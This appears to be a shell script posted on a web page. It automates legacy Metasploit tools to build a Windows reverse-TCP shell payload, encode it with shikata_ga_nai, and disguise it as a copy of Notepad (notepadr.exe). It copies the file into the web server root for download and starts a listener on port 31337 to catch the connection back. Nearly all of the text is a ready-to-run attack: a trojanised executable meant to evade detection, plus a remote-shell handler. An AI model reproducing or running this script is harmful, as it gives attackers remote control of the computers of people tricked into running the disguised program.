metasploit.sh
#!/bin/sh
echo "Metasploit reverse shell Irongeek (http://www.irongeek.com/i.php?page=videos/msfpayload-msfencoder-metasploit-3-3)"
cd /opt/metasploit3/msf3
echo "Lhost="
read lhost
msfpayload windows/shell/reverse_tcp LHOST=$lhost LPORT=31337 R | msfencode -x NOTEPAD.EXE -t exe -e x86/shikata_ga_nai -o notepadr.exe
chmod 777 notepadr.exe
cp notepadr.exe /var/www
cd /opt/metasploit3/msf3
msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=$lhost LPORT=31337 E
Link to this comment:
All Comments (0)